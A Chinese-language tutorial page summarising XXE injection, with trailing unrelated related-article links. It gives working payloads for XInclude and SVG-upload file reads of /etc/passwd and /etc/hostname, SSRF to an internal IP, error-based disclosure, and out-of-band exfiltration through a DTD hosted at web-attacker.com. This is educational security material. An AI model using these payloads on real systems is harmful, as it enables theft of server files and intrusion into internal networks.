XXE外部实体注入漏洞总结
XXE
漏洞原理
XXE是xml外部实体注入漏洞,应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行,内网端口扫描攻击内网网站等危害。
漏洞危害
1. 读取敏感文件。
2. 执行ssrf漏洞,进行内网端口探测,攻击内网网站等。
漏洞检测
1. XInclude攻击
一些应用程序接收用户的数据,在服务端嵌入到xml文档中解析,这时我们无法控制整个xml文档,所以就无法定义或修改DOCTYPE元素。XInclede是xml规范的一部分,允许从子文档中构建xml文档,从而进行攻击。
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
2. 利用文件上传来进行xxe攻击
docx和svg等都是基于xml格式,如果图像处理库支持SVG图像,攻击者可以提交恶意的SVG图像,就可以利用文件上传执行xxe攻击。
创建具有xml代码的SVG图像
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
将此图像上传上去。就可以在头像中看到/etc/hostname文件的内容。
3. 通过修改请求包的文件内容类型来进行xxe攻击
有些应用程序会允许xml的内容类型,我们就可以修改Content-Type: text/xml字段,来利用xxe漏洞。
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
原来的请求体中的内容是:foo=bar
4. 读取敏感文件
利用file协议读取服务器中的敏感文件。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
5. 执行ssrf攻击
利用http协议,让存在xxe漏洞的应用程序向与它处于同一内网的发送http请求。
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.1:3389"> ]>
6. 带外通道技术来进行盲注xxe
一般情况下,虽然存在xxe漏洞,但是不会回显外部实体注入的值,我们就要利用带外通道技术。(OOB)
攻击者在vps中放置恶意的DTD,让存在漏洞的应用程序去访问。
恶意DTD(外部实体)内容:访问http://web-attacker.com/malicious.dtd可以访问到改DTD
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
向存在漏洞的应用程序中输入:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
7. 通过错误消息来读取文件
通过触发xml解析错误,在解析错误信息中返回我们需要读取的敏感信息。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
漏洞防御
1. 使用开发语言提供的禁用外部实体的方法。
2. 过滤用户输入的xml数据中的关键字。
3. 不允许xml中有用户自定义的文档类型。
XXE外部实体注入漏洞总结的更多相关文章
- XXE外部实体注入漏洞
XML被设计为传输和存储数据,XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具.XXE漏洞全称XML E ...
- XXE外部实体注入漏洞——PHP
前言 XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题. 在XML1.0标准 ...
- 一个用得比较广的微信API的XXE外部实体注入漏洞
文件地址: https://github.com/dodgepudding/wechat-php-sdk/raw/master/wechat.class.php 代码: <?php /** * ...
- Pikachu-XXE(xml外部实体注入漏洞)
XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...
- XXE--XML外部实体注入漏洞
XXE漏洞原理 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部 ...
- Xml外部实体注入漏洞
Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...
- XML外部实体注入漏洞(XXE)
转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...
- XXE(xml外部实体注入漏洞)
实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...
- 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析
0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...
随机推荐
- 经典变长指令-RegOpcode
一.回顾Mod/M结构 Intel 64 and IA-32 Architectures Instruction Format ModR/M结构图 Mod与R/M共同描述E的意义(内存或者通用寄存器) ...
- Python爬虫脚本 ,Uni-APP复选框做出双向绑定 ,Net5工作流建模 。的一点经验
从业C#开发多年,现在也经常用到Python 做网络爬虫 ,用Uni-app做手机前端.攒了一点经验.供其他多语言开发程序员借鉴吧. Python做爬虫和其他的方式做爬虫最大的区别应该在于. Pyth ...
- MySQL 中如何定位 DDL 被阻塞的问题
经常碰到开发.测试童鞋会问,线下开发.测试环境,执行了一个DDL,发现很久都没有执行完,是不是被阻塞了?要怎么解决? 包括在群里,也经常会碰到类似问题:DDL 被阻塞了,如何找到阻塞它的 SQL ? ...
- 机器学习|线性回归三大评价指标实现『MAE, MSE, MAPE』(Python语言描述)
原文地址 ?传送门 对于回归预测结果,通常会有平均绝对误差.平均绝对百分比误差.均方误差等多个指标进行评价.这里,我们先介绍最常用的3个: 平均绝对误差(MAE) 就是绝对误差的平均值,它的计算公式如 ...
- test_1 计算字符串最后一个单词的长度,单词以空格隔开
题目描述:计算字符串最后一个单词的长度,单词以空格隔开. 输入描述: 一行字符串,非空,长度小于5000. 输出描述: 整数N,最后一个单词的长度. #coding=utf-8 str = raw_ ...
- Spark基础知识详解
Apache Spark是一种快速通用的集群计算系统. 它提供Java,Scala,Python和R中的高级API,以及支持通用执行图的优化引擎. 它还支持一组丰富的高级工具,包括用于SQL和结构化数 ...
- 【涨姿势】原来golang的case <-time.After(xxx)还有这样的坑
偶然看到这样一篇文章:<使用 pprof 排查 Golang 内存泄露>https://www.toutiao.com/i6881796351139676680/ 最后一段让我很疑惑: 修 ...
- manjaro20WPS缺少字体
宋体等 sudo pacman -S ttf-wps-fonts Ariel和Times New Roman https://askubuntu.com/questions/651441/how-to ...
- gin中jsonp的用法
package main import ( "github.com/gin-gonic/gin" "net/http" ) func main() { r := ...
- 2020-11-21 f
题意:给定一个长度为 \(n\) 的序列 \(A\),\(A_i \in [0, 2 ^ k)\).定义 \(f(x)\) 为 \(A_1\) ^ \(x\),\(A_2\) ^ \(x \cdots ...